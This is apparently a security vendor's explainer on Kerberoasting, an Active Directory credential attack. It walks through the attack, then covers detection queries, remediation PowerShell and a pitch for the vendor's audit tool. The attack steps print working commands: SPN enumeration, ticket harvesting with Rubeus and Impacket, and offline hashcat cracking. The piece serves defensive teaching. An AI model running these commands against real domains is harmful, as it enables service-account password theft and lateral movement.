Kerberoasting: How Attackers Crack Service Account Passwords

What Is Kerberoasting?

Kerberoasting is an Active Directory attack technique that allows any authenticated domain user to extract crackable password hashes from service accounts — without any special privileges.

The attack targets accounts with a Service Principal Name (SPN) set. In Kerberos, any domain user can request a service ticket (TGS) for any SPN. That ticket is encrypted with the service account's NTLM hash. An attacker can request the ticket, take it offline, and crack the hash with a standard password cracker.

No elevated rights required. No interaction with the target account. No alert on the target system. Just a legitimate Kerberos request.

⚠️ Why it matters: Service accounts are notoriously weak targets. They often have passwords that never expire, were set years ago, and were never subject to the same complexity requirements as user accounts.

How It Works

When a user wants to access a service (a web app, SQL server, file share), Kerberos issues a Ticket Granting Service (TGS) ticket encrypted with the NTLM hash of the account running that service.

The issuing KDC does not check whether the requesting user actually needs access to the service — it just issues the ticket. The access check happens later, at the service itself.

This design is intentional: it allows the service to decrypt and validate the ticket locally. But it also means any domain user can collect as many service tickets as they want, for any SPN, without any authorization check.

The attacker's goal is to collect these encrypted tickets and crack them offline to recover the plaintext password.

The Attack Chain

Step 1 - Enumerate SPNs

The attacker queries AD for all accounts with an SPN set. This requires only a standard domain user account:

# PowerShell — built-in AD module
Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties ServicePrincipalName, PasswordLastSet, PasswordNeverExpires |
    Select-Object SamAccountName, ServicePrincipalName, PasswordLastSet, PasswordNeverExpires

# Impacket (from Linux)
impacket-GetUserSPNs -dc-ip 10.10.0.1 corp.local/user:password

Interesting targets: accounts with PasswordNeverExpires = True, old PasswordLastSet dates, and human-readable names like svc_sql, svc_backup, svc_deploy.

Step 2 - Request Service Tickets

The attacker requests a TGS for each target SPN. The KDC issues the ticket encrypted with the service account hash:

# Rubeus — request and export tickets for all SPNs
.\Rubeus.exe kerberoast /outfile:hashes.txt

# Impacket — request and save directly in hashcat format
impacket-GetUserSPNs -dc-ip 10.10.0.1 corp.local/user:password -request -outputfile hashes.txt

The output is a collection of $krb5tgs$23$... hashes — one per service account.

Step 3 - Crack Offline

The hashes are cracked offline with Hashcat or John the Ripper. No further domain interaction required:

# Hashcat — mode 13100 for Kerberos TGS-REP (RC4)
hashcat -m 13100 hashes.txt /usr/share/wordlists/rockyou.txt --rules-file best64.rule

# Hashcat — mode 19700 for AES-256 (slower but still viable)
hashcat -m 19700 hashes.txt /usr/share/wordlists/rockyou.txt

Cracking speed depends on encryption type. RC4 (0x17) runs at hundreds of millions of hashes per second on a modern GPU. AES is significantly slower — another reason to enforce AES-only Kerberos.

Step 4 - Lateral Movement and Privilege Escalation

A cracked service account password opens the door to whatever that account has access to. If the account is over-privileged (common with service accounts), this can mean:

• Local admin on dozens of servers
• Access to databases, backup systems, or deployment pipelines
• A direct path to Domain Admin if the account has delegated rights

Detection

Kerberoasting generates legitimate Kerberos traffic and blends in with normal operations. Detection requires baselining normal TGS request patterns and alerting on deviations.

Windows Event IDs

Behavioral Anomalies

• Bulk TGS requests - a single user requesting service tickets for 10+ SPNs within seconds is not normal
• RC4 encryption on TGS - if your domain enforces AES, any RC4 TGS request is suspicious
• Requests outside business hours - service ticket requests at 3am from a developer account
• New or unknown source IPs - TGS requests from workstations that have never made such requests before

SIEM Detection Query (Elastic KQL)

event.code: "4769" AND
winlog.event_data.TicketEncryptionType: "0x17" AND
NOT winlog.event_data.ServiceName: ("krbtgt" OR "*$")

For bulk detection:

event.code: "4769" AND
NOT winlog.event_data.ServiceName: ("krbtgt" OR "*$")
| stats count() by winlog.event_data.TargetUserName, source.ip
| where count > 5

💡 Tip: Enable AES-only Kerberos across your domain. RC4 TGS requests then become a near-certain indicator of Kerberoasting or legacy compatibility issues — both worth investigating.

Remediation

💡 Quick Win: Audit service accounts for PasswordNeverExpires = True and rotate any password older than 1 year immediately.

Protect Service Accounts

1. Use strong, long passwords — minimum 25 characters, randomly generated. A 25-character random password makes offline cracking computationally infeasible even with RC4.

# Generate and set a strong random password on a service account
$pwd = [System.Web.Security.Membership]::GeneratePassword(32, 8)
Set-ADAccountPassword -Identity svc_sql -Reset -NewPassword (ConvertTo-SecureString $pwd -AsPlainText -Force)

2. Use Group Managed Service Accounts (gMSA) — gMSAs have 240-character passwords managed and rotated automatically by AD. They cannot be Kerberoasted effectively.

# Create a gMSA
New-ADServiceAccount -Name gMSA_SQL -DNSHostName sql.corp.local -PrincipalsAllowedToRetrieveManagedPassword "SQL_Servers"

# Install on the target server
Install-ADServiceAccount -Identity gMSA_SQL

3. Enforce AES encryption — set msDS-SupportedEncryptionTypes = 24 (AES128 + AES256 only) on service accounts. This forces AES tickets, which are far slower to crack.

Set-ADUser -Identity svc_sql -Replace @{msDS-SupportedEncryptionTypes=24}

4. Apply least privilege — service accounts should have only the permissions required for their function. A Kerberoasted svc_backup account with Domain Admin rights is catastrophic.

5. Enable fine-grained password policies — apply a dedicated PSO (Password Settings Object) to service accounts enforcing longer minimums.

Audit Your Exposure

# Find all Kerberoastable accounts with weak settings
Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties PasswordLastSet, PasswordNeverExpires, msDS-SupportedEncryptionTypes |
    Where-Object {$_.PasswordNeverExpires -eq $true -or $_.PasswordLastSet -lt (Get-Date).AddYears(-1)} |
    Select-Object SamAccountName, PasswordLastSet, PasswordNeverExpires

How EtcSec Detects This

EtcSec identifies the conditions that make Kerberoasting viable in your environment before an attacker exploits them.

The KERBEROASTING_RISK detection flags all accounts with an SPN set that are also vulnerable due to weak password posture — specifically accounts with old passwords, passwords that never expire, or RC4 encryption enabled.

Related checks that compound the risk:

• PASSWORD_NEVER_EXPIRES - service accounts whose passwords are never rotated remain crackable indefinitely once the hash is obtained
• PASSWORD_POLICY_WEAK - a weak domain password policy means service account passwords are more likely to fall to dictionary attacks
• KERBEROS_RC4_FALLBACK - RC4 encryption still permitted on the domain makes cracking significantly faster and detection harder

ℹ️ Note: EtcSec automatically checks for these vulnerabilities during every AD audit. Run a free audit to see which of your service accounts are exposed.